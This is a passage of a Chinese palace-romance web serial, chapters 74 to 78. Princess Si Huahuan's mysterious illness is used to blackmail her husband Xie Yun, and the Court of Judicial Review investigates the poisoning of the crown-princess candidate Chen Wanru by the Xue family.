靠在他宽阔的胸前,心中的怀疑虽并未完全消散,但是莫名的愤怒和委屈却渐渐平复了下来。 她沉默着,没有推开他,也没有说话。 谢昀感受到她的软化,心中稍安,轻轻抚摸着她的长发,低声道:“别胡思乱想了,我不是那样的人。” 姒华欢的心尖像是被羽毛轻轻拂过,痒痒的。 她依旧嘴硬,声音闷在他怀里,带着点鼻音:“……你爱怎么样就怎么样,跟我有什么关系,我才不管你……” 又一阵笑声从胸腔震动而出。 姒华欢不明白了,他到底有什么可乐的?—— 作者有话说:今天的有些短小,明天再小更一章[眼镜] 第75章 “干脆,你住回来算了。…… 近日天气转凉得厉害, 几场秋雨过后,庭院里的梧桐叶落了大半,只剩下光秃秃的枝丫指向灰蒙蒙的天空。 姒华欢近来总觉得身上懒懒的, 提不起什么精神。 偶尔起身快了, 还会眼前发黑,手脚也比往常冰凉许多。 她只当是季节更替, 自己素来体弱, 不慎染了风寒, 便没太放在心上。只让人多烧了些炭, 又多添了件衣裳。 可这日清晨醒来,那虚弱感愈发明显,甚至下床时脚步都有些虚浮, 吓得魏紫赶忙扶住她。 “殿下脸色很不好,还是请江太医来瞧瞧吧?”魏紫握着她冰凉的手担忧道。 姒华欢自己也觉得这般虚弱有些不寻常, 便点了点头。 不多时, 江鹤舒便提着药箱赶来。 仔细为姒华欢诊了脉, 左右手都换过,反复诊了几次,江鹤舒眉头越皱越紧。 江鹤舒沉吟片刻,问道:“公主殿下, 近日可是过于劳累,或是心中有何忧思郁结, 难以排解?” 姒华欢靠在软枕上, 轻轻摇了摇头。 劳累?她平时除了偶尔出府逛逛,大部分时间都待在府里,连听说书看戏,都是直接将人请到府上, 何谈劳累? 至于忧思……她虽对谢昀夜不归宿之事仍有疑虑,但也谈不上日夜忧思,只是分神派人留意他的行踪,仅此而已,并未耗费太多心力。 “并无劳累或忧思之处。”她如实相告。 江鹤舒更是疑惑:“这就奇了……殿下脉象虚浮无力,气血有些亏虚之症,按说不该至此。或许是今冬寒气来得迅猛,殿□□质本就偏弱,一时未能适应,这才让病气趁虚而入。” 他虽觉得有些异样,但姒华欢只是气血虚,并无头痛脑热、咳嗽鼻塞等风寒之症。 一时也找不出其他明显病因,便也只能归咎于天气。 他先开了几副温补调理、固本培元的方子,让姒华欢好生静养,切勿再劳神动气,观察几日再看。 府中谢昀的人很快把姒华欢身体不适,请江太医的事告诉了谢昀,谢昀立刻从大理寺赶了回来。 见到她恹恹地靠在榻上,脸色比平日苍白许多,心头便是一紧。 “怎么回事?好端端的怎么病了?”谢昀在榻边坐下,自然而然地握住她冰凉的手。 “没什么大事。”姒华欢习以为常,轻描淡写道,“江鹤舒说是天气转凉,有些不适应,调理一下就好。” 谢昀倾身,将自己的额头贴上姒华欢的额头,试了试温度,确认没有发热,才稍稍安心。 接下来的几日,谢昀只要忙完公务便会过来陪她。 有时是看着她喝下苦涩的药汁,然后及时塞一颗蜜饯到她嘴里; 有时是坐在一旁处理自己的事情,偶尔抬头看她一眼; 有时则纯粹是陪她说说话,虽然大多时候是他在说,她在听。 姒华欢发现谢昀似乎很享受这种安静的陪伴。 他不再像以前那样和她对着干,而是变得更加自然而然地亲近,都让姒华欢心底也泛起一丝温暖。 转眼便到了冬至。 “冬至大如年”,在大越除了春节,最为重要的是节令便是冬至。这一日,阴极之至,阳气始生,乃吉日之首。 朝廷放假,军队待命,商旅停业,亲朋相互拜访,欢乐地度过这一天。 而皇宫之中,更是要举行盛大的祭天典礼与宫宴。 皇帝率群臣祭拜天地祖先,祈求国泰民安、风调雨顺,并在当晚设宴款待文武百官及命妇,共庆此节。 如此重要的场合,姒华欢自然不能缺席。 尽管身子依旧有些虚弱,但她还是打起精神,坐在窗帘前仔细梳妆。 魏子为她梳了个雍容华贵的牡丹髻,嵌上赤金镶红宝石凤凰步摇,穿上尚宫局新制的正红色宫装。 只是唇色依然有些浅淡,缺乏血色。 姒华欢拿起口纸将那抹苍白覆盖,点染上娇艳的红色,这才看起来气色好了些。 谢昀早已穿戴整齐,一身绛紫色锦袍衬得他身姿挺拔,气宇轩昂。 他站在一旁,看着镜中虽然妆容精致,看起来气色好上许多的姒华欢,眉头紧锁,担忧道:“你身子还未好利索,要不今日就别去了吧?我与陛下说一声,他定然不会怪罪。” 姒华欢对着镜子,最后抿了抿唇,让口脂均匀。她摇了摇头,语气坚定:“不行,今日必须去。” 今日薛宝薛宝芝也在列,她得去看着薛宝芝。 虽然太子妃人选看似已定,但薛宝芝及其背后的薛家绝不会轻易死心。 这等重要的场合,难保他们不会再生出什么事端。 谢昀知她心思,也知道她认定的事情很难改变,无奈叹了口气,走上前问道:“那……我抱你上马车?” 他实在担心她连走到府门口的力气都没有。 姒华欢斜睨了他一眼,带着点嗔怪:“我又不是病入膏肓快死了,几步路而已。” “呸呸呸!”谢昀连声啐道,“胡说什么,什么死不死的,不许说这种不吉利的话。” 他似乎对“死”这个字眼格外敏感。见他是真怕,姒华欢心中莫名一软,没有再反驳。 谢昀上下打量了她一番,走上前,伸手替她将狐裘披风的系带重新系紧了些,又将毛茸茸的领子拢了拢,确保寒风不会灌进去。 看着他低头为自己整理披风时专注温柔的神情,姒华欢心中微动,忽然开口道:“谢昀,你最近总喜欢往我这里跑。” 谢昀动作一顿,抬起头,眼中带着一丝期待地看她。 姒华欢继续慢慢悠悠地说:“干脆,你住回来算了。” 谢昀眼中迸发出难以置信的惊喜光芒,几乎不敢相信自己的耳朵。 她这是终于愿意彻底接纳他了,对他敞开心扉,愿意与他同床共枕,做一对真正的夫妻了? 谢昀脸上控制不住的漾开笑意,声音都带着雀跃:“可以吗?” 看着他这副欣喜若狂的样子,姒华欢眼底闪过一丝狡黠,故意拖长了语调,慢条斯理地补充了下一句:“可以啊,让给你,我回宫住就是了。” 谢昀脸上的笑容瞬间僵住,嘴角肉眼可见地垮了下来,像是被霜打过的茄子,蔫了。 他看到姒华欢眼中那掩饰不住的得逞笑意,才明白自己是被她给戏弄了。 姒华欢将他一连串从狂喜到失望的变脸尽收眼底,觉得有趣极了,忍不住低头偷笑了起来。 谢昀戳了戳她鼓起的脸颊,没好气道:“小坏蛋。” 姒华欢不再看他那副幽怨的表情,转身扶着姚黄的手,姿态优雅地朝外走去。 谢昀看着她离去的背影,忍不住又牵动了嘴角。 所思所言,她这话都说出口了,那离这一天真正的到来还远吗? 第76章 用姒华欢的性命来要挟他…… 麟德殿内早已是灯火辉煌, 暖意融融。 殿内百官按品级端坐,命妇们衣香鬓影,环佩叮咚。每张食案上都陈列着美酒佳肴, 时令鲜果, 一派君臣同乐的景象。 姒华容早已到了,见到他们迎了上来, 一看到姒华欢便蹙起了眉头, 问道:“蓁蓁, 你的脸色怎么这么差?” 尽管她施了脂粉, 点了口脂,但属于兄妹之间的感应,却瞒不过兄长。 姒华欢下意识用手贴了贴自己的脸颊, 心中纳闷,她明明无论腮脂和口脂, 怎么哥哥还是一眼就看出来了? 姒华容带着几分责怪的目光转向了一旁的谢昀:“景初, 蓁蓁她本就体弱, 你……” “哥哥!” 姒华欢人不等太子说完,连忙打断他,伸手挽住太子的胳膊,拉着他往他们的席位走, 语气带着点撒娇的意味:“不关他的事啦。都怪这天气,一下子冷得这么快……已经叫江鹤舒瞧过, 喝了药, 养几日便好了。” 谢昀站在一旁,原本已经做好了被大舅子训斥的准备,却没想到姒华欢会主动替他开脱。 他有一些意外地看向她。若是往常,她巴不得姒华容多训斥他几句, 看他被骂得狗血淋头才好,今日竟会主动替他开脱? 一丝暗爽从心里升起,连带着脚步都轻快些,谢昀屁颠屁颠地跟上他们。 姒华容见妹妹如此维护谢昀,也不好再多说什么,只叮嘱她:“既如此,更该好生歇着。若觉得不适,便早些回去,不必强撑。” 姒华欢刚落座,未来的太子妃,中书令陈家的二小姐陈婉茹主动过来与姒华欢见礼说话。 陈婉茹是个真正温婉娴静,知书达理的大家闺秀。言语得体,笑容亲和,很招人喜欢,姒华欢对她观感极好,心中也为哥哥能得此良配而感到欣慰。 陈婉茹与她说了会儿话便礼貌地告退回座。 姒华欢目光不经意间扫过对面席位的薛宝芝,恰好捕捉到她尚未完全收回的视线,那眼神复杂中带着一丝不易察觉的不甘。 姒华欢心中冷笑,淡淡地瞥了她一眼,带着警告的意味。 薛宝芝接触到她的目光,神色自若地移开了视线。 宫宴在看似和谐的氛围中接近尾声,嘉平帝皇后起驾回宫,其余人也纷纷起身告退。 姒华欢也随着人流缓缓向殿外走去,走着走着,她只觉得脚步越来越虚浮,眼前的景象也开始有些晃动模糊。 “可是不适?”谢昀察觉到她的异样,低声询问,手臂用力地支撑住她。 “没,只是有些头晕……”姒华欢话未说完,一阵强烈的眩晕猛然袭来。 她眼前一黑,身体软软地向下倒去。 谢昀眼疾手快,一把将她捞进怀里。 只见她双目紧闭,面色苍白如纸,唇上那抹娇艳的口脂此刻显得格外刺眼。 “传太医,快传太医!”谢昀的声音响彻在尚显喧闹的宫道上,顿时引来无数惊愕的目光 谢昀打横抱起昏迷不醒的姒华欢,快步朝着永安宫奔去,现场顿时一片混乱。 江鹤舒提着药箱跑着赶来,他再次仔细诊脉,眉头越皱越紧。 脉象虚浮紊乱,气血亏虚得厉害,远比前几日严重得多,可偏偏又诊不出具体病因。 江鹤舒束手无策,只得硬着头皮请来了他的祖父,早已致仕在家的江老太医。 得到消息的嘉平帝和皇后匆匆赶来,脸上写满了焦急。 江老太医须发皆白,经验老道。他凝神诊脉许久,又仔细查看了姒华欢的瞳孔和舌头,同样面露凝重。 “蹊跷,实在是蹊跷……”江老太医捻着胡须,喃喃自语,“公主殿下身子虽偏弱,但绝不该虚弱至此……” 这绝非寻常体弱或急症所能解释,倒像是某种罕见的隐疾,或是中了某种极为刁钻却隐秘的毒。 他站起身,开始仔细环视寝殿内的陈设。 从馨香到摆件,从帐幔到地毯一一查验。又反复询问公主近期的饮食、用药,甚至连沐浴的香膏都问到了,依旧一无所获。 “老夫行医数十载,此等怪症实属罕见。”江老太医最终无奈叹口气,“眼下老夫也只能先开副固本培元的方子,竭力调养,稳住殿下元气,只是若寻不到病根,只怕……” 他后面的话没说出口,但意思不言而喻。 连江老太医都束手无策,皇后踉跄一步,被嘉平帝扶住。 满宫上下顿时被一片愁云笼罩。 谢昀紧紧握着姒华欢冰凉的手,看着她毫无生气的脸庞,心如同被放在火上炙烤。 姒华欢留在永安宫静养,汤药一碗碗灌下去,却如同石沉大海,她依旧昏迷不醒,气息微弱。 谢昀日夜不离地在宫中照料,眼窝深陷,胡茬凌乱。 翌日晚,杜风匆匆求见,说大理寺的一名下属匆匆到侯府,递上一封信,说是有人送到大理寺地,指明要交给他。 谢昀走到外间,接过那封信。 信封上空空如也,没有任何署名。 他心中已有预感,屏退左右,拆开信封。 上面字迹与之前一般无二,内容却让他怒火中烧—— “欲解公主隐疾,明日子时,老地方一见。” 是他们!竟然是他们对姒华欢动了手脚!这是要用姒华欢的性命来要挟他,逼他就范! 谢昀手指紧紧攥着信纸,将信纸攥成一团,眼中翻涌着滔天的杀意,恨不得立刻将那个藏头露尾的神秘人碎尸万段。 是夜,子时,万年县荒山,城隍庙。 谢昀带着一身凛冽的杀意推开木门,庙内,穿着宽大黑色斗篷的身影早已等候在那。 谢昀没有任何废话,长剑已然出鞘,直刺神秘人心口。 这一剑快、狠、准,是真正的杀招。 神秘人显然没料到他一照面就下死手,仓促间疾步后退,袖中滑出一柄短刀格挡,险险架住了谢昀这愤怒一击。 “铮!”兵刃相交。 “明安侯,何必如此大的火气?”兜帽下传来低沉的声音。 谢昀根本不搭话,剑势如虹,步步紧逼,招招致命。逼得那神秘人连连后退,只能勉强招架,显然谢昀的武功远在他之上。 不过十数招,只听“嗤啦”一声,谢昀的剑尖巧妙一挑,将神秘人头上的兜帽整个掀飞。 然而兜帽之下并非真容,竟然还覆盖着一张青铜面具! “明安侯!”神秘人借着后退之势稳住身形,“你杀了我,可就没人能救你的公主了!” 谢昀剑尖直指他的咽喉,眼神冰寒刺骨:“你们对她下了什么药?!” 神秘人隔着面具低低地笑了起来:“下药?侯爷别冤枉好人,在下只是恰巧手下有位郎中,对稀奇古怪的隐疾颇有研究,或可一试罢了。” “我凭什么信你?”谢昀咬牙道。 “你可以不信。”神秘人语气轻松,“不过嘛……听闻公主如今昏迷不醒,太医院也束手无策,怕是拖不了多久了。侯爷若执意不信,就要为公主早点准备皇陵了。” “你!”谢昀额角青筋暴起,握剑的手因为极度愤怒而微微颤抖,几乎要控制不住再次动手。 但他看着对方那有恃无恐的样子,想到姒华欢苍白的面庞,杀了他的心硬生生被理智压了下去。 他不能拿姒华欢的性命去赌。 谢昀深吸一口气,强迫自己冷静下来,声音嘶哑:“你想要什么?” 神秘人摇了摇头,失望道:“侯爷误会了,在下并非要挟,有所求。只是实在不忍心看到骠骑大将军的独子,为心爱之人如此忧心煎熬,特意前来相助而已。侯爷如此敌意,真是让人寒心啊。” 谢昀心中冷笑。 信他才怪! 但他知道,此刻硬碰硬绝非良策。 他必须假意应下,争取时间,先救醒姒华欢,再图后计。 谢昀沉吟片刻,仿佛被说动,又怀疑地问道:“你说的郎中何在?” 神秘人见他态度软化,知道目的已达到,便道:“明日辰时正刻,他会准时在侯府门前等候,侯爷带他入宫即可。” 次日辰时,谢昀果然在侯府门前等到一辆不起眼的马车。 车上下来一位身着青布长衫,手提药箱,年约四十,面容普通的中年男子,自称姓胡。 谢昀并未多言,查验过他身上和药箱后,将他带入宫中。 一路上早已布下天罗地网,包括永安宫,只要这胡郎中有任何异动,格杀勿论。 胡郎中来到姒华欢床前,在谢昀的紧盯下,淡定地为姒华欢诊脉。 他诊脉的时间比江老太医还要长。诊完脉,他又仔细询问了姒华欢近期的饮食。 魏紫将近日姒华欢用过的膳食、汤药,甚至点心、果品都一一报上,皆是日常所食之物,并无任何异常。 胡郎中仔细听着,当听到蜂蜜时,打断了魏紫:“蜂蜜?” 魏紫回道:“殿下喜食蜂蜜,平日里佐以糕点,但用量不是很多。” 胡郎中点了点头:“那便是了。公主体质特殊,经络偏寒弱。蜂蜜性虽平,但酿造过程易聚湿敛邪,于常人无碍。于公主这般体质,长期食用,日积月累便会郁结于经络,形成类似虚耗之症,寻常郎中难以察觉,以后切记万万不可再食用了。” 他打开药箱,取出一个白瓷小瓶,倒出一颗色泽乌黑的丹药,递向谢昀:“将此丹为公主服下,公主不时当可苏醒。” 谢昀看着那枚来历不明的丹药,心中警铃大作。 他如何敢轻易让姒华欢服用。 “我如何能信你这丹药无害?” 胡郎中神色不变,坦然道:“在下就站在这里,等候公主醒来再离开。若是公主服下此丹后有任何异常,侯爷大可以立刻将在下拖出去斩了。” 谢昀语气森然:“公主若是出了什么事,斩你一个有何用?你的命,哪里够抵?” 就在这僵持之际,那胡郎中忽然动了,他竟以迅雷不及掩耳之势,将手中那枚丹药塞入了姒华欢的口中! “你干什么!”谢昀暴怒,瞬间出手,一把揪住了胡郎中的衣领,眼中杀意沸腾。 胡郎中被他勒得脸色发白,却依旧镇定道:“侯爷若是一直这般犹豫不决,耽误了救治时机可就不好了。在下为保自身小命,也只好先行自证清白了。” 殿内气氛紧张到了极点,所有人都屏住呼吸,眼睛一下都不眨地盯在姒华欢脸上。 时间一点点过去,每一息都格外漫长。 就在这剑拔弩张之际,床榻上忽然传来一声细微的嘤咛。 “唔……” 只见姒华欢长长的睫毛颤动了几下,缓缓睁开了眼睛。 她只觉得口中一股苦涩味道弥漫开来,让她整张脸都皱成了一团,下意识就想吐出来。 一睁眼,最先看到谢昀的脸,姒华欢还没有完全搞清楚状况,但满口的苦味让她瞬间委屈又生气,冲着谢昀有气无力道:“谢昀……你……你给我吃的什么鬼东西……苦,苦死我了……” 第77章 突发急症? 见姒华欢真的醒了, 谢昀立刻松开了抓着胡郎中的手,扑到床边,紧紧握住了她的手, “你醒了?你觉得怎么样?还有哪里不舒服?” 胡郎中整理了一下被扯乱的衣襟, “侯爷,公主既已苏醒, 在下便告辞了。” 说完, 他也不等谢昀回应, 便提着药箱转身从容离去。 谢昀此刻也顾不上他, 所有的注意力都集中在姒华欢身上,只回头给了杜风一个眼神,杜风立刻领命跟上胡郎中。 姒华欢轻轻摇了摇头, 除了浑身无力,像是大病初愈般的虚软, 倒没有其他的不适。 她看着谢昀憔悴的脸庞和眼底浓重的青影, 深知他定是又守了自己许久, 心中不由得一软,反手轻轻回握了他一下:“就是没力气……” 谢昀小心翼翼地扶着她,喂她喝下温茶水漱口,除去口中苦味, 又命人立刻去端来一直温着的清粥,亲自试了试温度, 喂到姒华欢嘴边。 姒华欢刚醒来, 没什么精气神,有人代劳,她自然乐意。 她就着谢昀的手小口喝着温热的粥,想起刚刚床旁似乎还有一个人, 问道:“刚才那位是什么人?” 谢昀喂粥的动作微微一顿,随即恢复自然,解释道:“是一位云游的民间郎中,恰好在京城,医术颇为奇特,对疑难杂症有些独到的见解,正巧请他来看看。” “疑难杂症?”姒华欢一愣,“江鹤舒不是说我因为天气转凉,不适应吗?” 谢昀含糊道:“不是什么大事,只是你的体质在此季节不宜多食蜂蜜,以后不用就好了。” 姒华欢:“……?” 头一回听说蜂蜜还有分体质食用这样的说法。 若当真有此说法,江鹤舒不知道,江老太医会不知道吗? 姒华欢不禁怀疑,谢昀怕不是被什么江湖术士给骗了吧? 她虽然觉得有些巧合,但想到谢昀应该是病急乱投医,加之自己确实好转,便也没有深究。 谢昀到姒华欢再次沉沉睡去才退出寝殿,他脸上的温柔全部褪去,面容冷峻。 他走到永安宫的偏殿,杜风早已等候在此,面色凝重。 “侯爷,那胡郎中离开皇宫后,属下暗中跟踪,但对方极为狡猾,在东西市绕了几圈,最后进了一家医馆,便失去了踪迹。”杜风禀报道。 谢昀并不意外。 对方竟然敢如此明目张胆的要挟他,必然做好了万全的准备。 “加派人手暗中保护公主,所有入口的饮食、药物必须经过我们的人严格查验。永安宫内外给我盯紧了,任何可疑之人,宁可错抓,不可放过。” “是。” 谢昀走到窗边,看着窗外沉沉夜色,眼神幽暗。 关于那神秘人和他背后的势力,他们要变被动为主动。 他们不是想借父亲母亲的旧事引他入局吗? 好,他便如他们所愿。 ***** 接下来的几日,姒华欢留在永安宫静养。 在汤药和悉心照料下,身体逐渐恢复,气色也一天天红润起来。 一日午后,谢昀陪姒华欢在院中晒太阳。 午后的阳光暖融融地洒在身上很是舒服,姒华欢躺在躺椅上,盯着坐在一旁为她剥橘子的谢昀出神。 她的全部注意力都凝在那双好看的手上。 他的指节分明,却并不显得粗粝。指甲修剪得干净整齐,透着健康的淡粉色。 此刻那拇指正微微用力,嵌入橘瓣之间,轻轻一掰,便分离出一片饱满的果肉。 汁水沾上他的指尖,留下一点湿润的痕迹,让姒华欢不禁想到琴房那晚谢昀用食指向她展示那水润…… 姒华欢被自己大胆的联想惊了一下,脸颊悄悄热了起来。 “看够了吗?” 含笑的嗓音响起,惊得姒华欢倏地回神。 这才发现,谢昀不知何时已停下了动作,正抬眼瞧着她,眸子里漾着再明显不过的挪揄。 他指尖拈着那片剥得干干净净的橘瓣递到她唇边。 “还是说……”他勾起嘴角,“我比这橘子,更合你心意?” 姒华欢脸更热了,飞快地从他指尖衔走了那片橘子。 这时,姚黄脚步快步从院外跑来,脸色惊惶,抖声道:“殿下!殿下!不好了!中书令陈家的二小姐,她……她没了!” “没了?”姒华欢一愣,“什么叫没了?怎么没的?” “陈府,陈府刚刚传出消息,说是二小姐突发急症,人就这么去了!” 姒华欢脑海中,瞬间浮现出陈婉茹那张温婉带笑的脸庞。 突发急症?怎么可能? 陈婉茹在宫宴上还与她言笑晏晏,气色红润,这才过去几天,怎么会突然就…… 豁然,一个名字闪过她的脑海——薛宝芝! 陈婉茹一死,太子妃之位再度空悬,最大的受益者是谁? 除了处心积虑,对太子妃之位志在必得的薛宝芝,还能有谁? 前有中秋宫宴对她下手,贼喊捉贼。如今眼见太子妃人选已定,薛宝芝便使出如此毒辣的手段,直接铲除障碍。 她明明都派人去盯着了,千防万防仍是没防住! 姒华欢转头看向身侧的谢昀,抓住他的手臂:“谢昀,陈婉茹死得蹊跷,绝不能就这么以急症草草了事。这案子必须查,由你们大理寺来查!其他人我信不过。” 薛家势力盘根错节,寻常衙门或许会被各方势力掣肘,唯有谢昀所在的大理寺才有可能揭开真相。 谢昀脸色也同样凝重。 他握住姒华欢因愤怒而微微颤抖的手,“由大理寺介入并非不可,但须得中书令陈大人首肯,方可名正言顺查验陈二小姐的尸身。” 查验尸身是查明死因的关键,但让仵作验看未出阁千金的尸身,陈府如何能答应? 他们此刻正沉浸在丧女之痛中,若贸然提出验尸,无异于在其伤口上撒盐。 他们又如何会相信自己的女儿是被人所害? 即便姒华欢是公主,也无法强行下令验尸。这于理不合,更会激化矛盾。 姒华欢他略一思索:“我们去找父皇。” 紫宸殿内,嘉平帝听了陈家二小姐的消息,正沉思。听闻女儿求见,便宣了进来。 姒华欢快步走进殿内,顾不上太多虚礼,直言道:“父皇,陈二小姐前几日还好好的,怎会突然就没了?” “此事绝非简单的急症,若真有人胆大包天,为了一己私欲,行此灭绝人性之事。不仅害了陈二小姐性命,更是视国法朝纲如无物,其心可诛!” “我想请父皇下旨,命大理寺彻查此事,还陈二小姐一个公道,将那狼子野心之人揪出!” 嘉平帝久居帝位,对这等阴私伎俩岂会毫无察觉。 太子妃人选刚定不久,人选就暴毙,这背后若无人操作,简直是把所有人都当傻子。 更重要的是,此举无疑是在挑战皇权,蔑视皇室尊严! “你的怀疑不无道理。”嘉平帝对外道,“来人,宣中书令陈恪即刻进宫。” 不多时,中书令陈恪匆匆赶到。 他穿着一身素服,眼睛通红,面容憔悴,仿佛一夜之间老了十岁。 显然爱女的离世对他打击巨大。 嘉平帝看着他这般模样,心中亦是恻然,温言道:“陈爱卿节哀,朕听闻陈婉茹之事,心中亦感悲痛。” “朕召你前来,是想问问你的意思。若你疑虑她并非单纯急症,恐有奸人作祟,朕可下旨,命大理寺介入彻查此事,务必查明真相。你可愿意?” 陈恪闻言,抬起头,眼中先是闪过一丝愕然。 他并非愚钝之人。女儿身体一向康健,突然暴毙,他心中又何尝没有疑虑与不甘? 只是碍于没有证据,加之白发人送黑发人的打击,让他一时乱了方寸。 此刻听到嘉平帝此言,犹如抓住了最后一根救命稻草,陈恪深深一拜,声音哽咽:“老臣……谢陛下隆恩!若能查明小女死因,无论结果如何,臣都感激不尽!臣恳请陛下下旨彻查!” 女儿死得不明不白,他这做父亲的,若连为她寻求真相的勇气都没有,还有何颜面立于天地之间? 他知道,一旦验尸,女儿死后不得安宁,陈家也会再次被推上风口浪尖。 但比起让女儿含冤莫白,这些他都愿意承受! 嘉平帝动容道:“爱卿深明大义,朕心甚慰。你放心,朕定会命人查个水落石出,绝不姑息奸佞。” 有了陈恪的首肯,一切便顺理成章。 嘉平帝当即下旨,此案由大理寺受理,谢昀主理,务必查明陈婉茹死因。 嘉平帝刚下旨不久,薛府就收到了消息。 薛宝芝正在书房,对着一幅即将完成的百花争艳图描摹最后几笔,姿态悠闲。 陈婉茹死了,那个抢走她太子妃之位碍眼的女人,终于消失了。 虽然手段风险极大,但结果是值得的。 父亲说过,成大事者,不拘小节。 忽然,她的心腹丫鬟跌跌撞撞跑进来,颤声道:“小姐……不好了!宫里传出消息……陛下宣了陈大人进宫,让大理寺立案调查陈二小姐的死因!” “哐当”一声,薛宝芝手中的画笔掉落在洁白的宣纸上,染污了一大片精心描摹的花瓣。 她猛然站起身,“你说什么!?大理寺?他们怎么敢!?” 怎么会这样?明明做得天衣无缝,造成突发急症,陈家怎么会同意验尸?嘉平帝怎么会下旨? “奴婢,奴婢也不知道具体……只是听说,好像是康乐公主在陛下面前说了什么……” 姒华欢!又是她! 早知道就不跟她慢慢拖着了,合该早些杀了她才稳妥! 薛宝芝指甲深深掐入掌心。 不行,绝对不能让他们查出来! 薛宝芝深吸几口气,强迫自己冷静下来,直奔薛相的书房—— 作者有话说:滑跪,卡文了orz 第78章 “公主她又晕倒了!”…… 书房内, 薛相看到女儿未经通传便慌慌张张闯进来,眉头一紧,放下书卷:“何事如此惊慌?成何体统!” “父亲!不好了!”薛宝芝冲到书案前, “宫里传来消息, 陛下要让大理寺查陈婉茹的死!父亲,现在该怎么办?若是被查出来……” 薛相脸色阴沉地可怕, 眼中精光一闪, 面色却依旧沉静。 他抬手示意女儿稍安勿躁:“慌什么?天塌不下来。” 薛宝芝心急道:“父亲!办此案的人是谢昀, 他可不是好糊弄的, 我们……” 薛相转过身,打断她:“我们?我们怎么了?陈婉茹突发急症,与我们薛家有何干系?” 薛宝芝一愣, 看着父亲那波澜不惊的脸,忽然明白了什么。 “可是那药……”她嗫嚅道。 “什么药?”薛相眼神带着警告, “宝芝, 记住, 陈婉茹是病死的,与我们薛家,毫无瓜葛。你近日身子不好,在家静养, 切勿胡思乱想,更不要外出, 以免招惹是非, 明白吗?” 薛宝芝心中的恐慌渐渐消散了些。 她明白了,父亲早已做好了应对的准备。 她长长地舒了口气,说道:“女儿明白了。” 目送她离去,薛相沉着脸, 走到书案后,取出一张特殊的信纸,提笔快速写起来。 ***** 姒华欢回了明安侯府静养,心一直系在陈府的案子上,谢昀下职回府,她便急切地问道:“可有进展?” 谢昀:“据仵作推测,可能是引发心脉骤停的罕见毒药。这类毒往往发作极快,症状与急症相似,若非特意查验,极难发现。” “可能确定是何物?” 谢昀摇摇头:“仵作也尚不能一时判断出来,须得去请教几位精通药理之人,方能确定。” “薛家那边有什么动静?” “薛家那边目前看来并无异动,很是平静。”谢昀轻轻在指尖绕着姒华欢的发丝。 “平静?”姒华欢冷笑,“越是平静,越说明心里有鬼。他们定然早已将证据清理干净了。” 姒华欢看向谢昀,眼神隐隐有些担忧:“谢昀,薛家在朝中经营多年,树大根深,耳目众多。你查此案定要万分小心,我怕他们会暗中阻挠,对你不利。” 难得有她这么关心他的时候,谢昀心中暖流淌过,松开绕她发丝的手指,用手将她下巴抬起,迫使她微微仰头看他,噙笑道:“担心我?” 姒华欢拨了拨他的手,没拨动,一双猫眼瞪圆了看他:“我说正经事呢。” 谢昀“嗯”了一声,“我也没做不正经的事。” 说着,他还屈起手指,搔了两下她的下巴,真像逗小猫一样。 “倒是你,身子还未好全,莫要过于劳神。陈二小姐的案子,我一定会查个水落石出。” ***** 薛宝芝犹如惊弓之鸟,心中难免慌乱焦灼。她坐在闺房中修剪着花枝,实则心思并不在这上面,手上的花枝被剪得乱七八糟。 “外面情况如何?谢昀他们可查到了什么?”每当心腹丫鬟进来,她都会忍不住压低声音询问。 得到的回答总是“小姐放心,相爷自有安排”之类模糊的安抚,这并不能让她安心,她深知谢昀的能力,也领教过姒华欢的难缠。 万一……万一真的被他们找到证据…… 相比于薛宝芝的惊慌,薛相则显得沉稳得多。 他照常上朝下朝处理公务,面对同僚或明或暗的探寻,皆是一副沉痛惋惜的模样。 谈及陈婉如之死为“天妒红颜”、“突发恶疾”,对大理寺的调查则表示“相信朝廷定能查明真相,还王者安宁”,姿态做得十足。 薛家在暗处的部署早已启动,他动用了埋在陈府以及大理寺内部的眼线,密切关注着调查的每一步进展,并着手清理可能存在的隐患。 “相爷,大理寺的人已进了陈府,看架势是要彻查了。明安侯亲自带队,连陈二小姐的遗体都运回大理寺查验了。” 薛相面无表情地听着,手指轻轻敲击着紫檀木的桌面。 良久,他才缓缓开口:“知道了,我们的人都撤干净了?” “相爷放心,所有经手之人都已妥善安置,绝无后患。那东西……也早已处理得干干净净,神仙也查不出来。”管家笑着,躬身道。 薛相微微颔首,眼中闪过一丝冷厉:“谢昀倒是比他那个只知道打仗的父亲难缠得多。” 傍晚,谢昀的手下在通往南方的官道上,截停了一辆不起眼的马车。 护送的马夫和护卫们刚拔出兵器,便被黑暗中涌出的黑衣人迅速制服,连发出信号的机会都没有。 一名黑衣人上前挑开车帘,车厢内一个穿着普通妇人衣衫的年轻女子正蜷缩在角落,怀里紧紧抱着一个小包袱。 “带走。”为首的黑衣人声音冰冷。 人直接被带回了大理寺诏狱。 昏暗的刑室内,火光跳跃,映照着芸香惨白如纸的脸。 她跪伏在地上,身体因恐惧而瑟瑟发抖。 无论谢昀如何审问,关于薛府、薛宝芝、陈府、陈二小姐,她都只是拼命摇头,咬紧牙关一个字也不肯说。 翻来覆去只有一句:“奴婢什么都不知道,求大人放奴婢回乡……” 谢昀并不急于用刑,他坐在椅子上,平静地看着她:“薛家让你离开京城,去往何处?所为何事?” 芸香跪伏在地上,答道:“奴婢,奴婢回乡看望家中父母……” “芸香,江南姑苏人氏,家中尚有父母和一双年幼的弟妹,对吧?” 芸香身子一颤,难以置信地微微抬头,飞快地瞥了谢昀一眼。 谢昀继续缓缓道:“你以为,你闭口不言,拼死维护薛家,他们就会信守承诺,放过你的家人,保他们安稳度日吗?” 芸香惊恐地瞪大了眼睛。 “你太天真了。从你被选中做这件事开始,你的家人对于薛家而言就已经是必须清除的隐患。他们承诺事成之后放过你家人,不过是骗你为他们卖命的谎言。” “薛家行事,向来斩草除根,你的家人早在你被放出府之前,就已经被薛府派去的人‘处理干净’了。” 谢昀的话如同淬了冰的刀子,一字一句地扎进芸香的心里。 她尖叫起来,声音凄厉:“不!不可能!你骗我!小姐答应过我,她说只要我仔细为她做事,乖乖离开京城,永远不再回来,就绝不会动我的家人,她答应过的!” “答应?”谢昀嗤笑一声,“你家小姐自身难保,还能顾得上你的家人?她连未来太子妃都敢毒杀,区区几条平民百姓的性命,在她眼里又算得了什么?” 他示意身旁的侍卫将一份卷宗扔到芸香面前。 那是他的暗线从江南加急送回的密报,上面清楚地记录着芸香一家四口于半月前“意外”葬身火海,当地官府以“天干物燥,不慎失火”草草结案。 看着那白纸黑字,看着那熟悉的家乡地址和亲人的名字,芸香整个人如同被抽走了所有的力气,瘫软在地,眼泪如决堤般涌出。 “为什么?为什么?我都已经答应他们了,为什么还要……”她泣不成声。 